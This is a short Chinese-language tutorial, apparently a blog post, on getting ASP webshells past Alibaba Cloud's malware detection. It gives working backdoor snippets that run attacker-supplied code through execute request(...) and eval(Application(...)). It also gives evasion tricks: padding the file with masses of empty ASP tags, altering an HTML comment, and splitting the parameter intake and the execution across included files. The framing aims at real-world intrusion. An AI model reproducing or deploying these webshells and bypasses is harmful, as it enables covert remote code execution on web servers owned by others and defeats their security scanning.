webshell免杀过阿里云asp

注释填充

​ 参考Webshell-Detect-Bypass项目glorysday.asp可以绕过阿里云的检测。这部分作者主要用了下面几个技巧。

利用'%>'<%分别闭合前后标签填充大量垃圾<%%>标签,且最后文件体积大小要合适(测试发现文件大小约>0.97 MB)

一定位置插入至少一个<??>字符串

​ 之前我在绕云WAF时,发现增加垃圾字符可以绕过云WAF的检测,所以我怀疑能绕过是因为大量垃圾字符的。于是我去除了'%>这部分,只使用大量的<%%>填充,也确实绕过了云查杀。但是如果使用其他字符填充无法绕过,所以我推测能绕过的原因是匹配<%%>的次数过多而导致的溢出。

​ 虽然大量填充可以绕过阿里云的查杀,但是这种方式在实战中并不可取,由于上传文件内容过大,导致在访问文件的过程中会有一些卡顿,一定程度上影响了客户端和webshell的交互。

注释符

​ 下面的方式也绕过了查杀,可以注意到加上在<!--后面加上双引号解析发生了一些改变。

1
2
3
4
5
6
7
<%
<!--"-->
execute request("LandGrey")
%>
<%
Set X = New LandGrey
%>

​ 改为单引号,双数个双引号和单数个双引号进行测试,均无法绕过阿里云。

分离免杀

​ 其实asp webshell的核心就一句话,所以我们免杀的方法就是将参数的接收和执行部分分开。

1
2
3
4
<!--#include file ="test.txt"-->
<%
eval(Application("Greeting"))
%>
1
2
3
<%
Application("Greeting")=request("LandGrey")
%>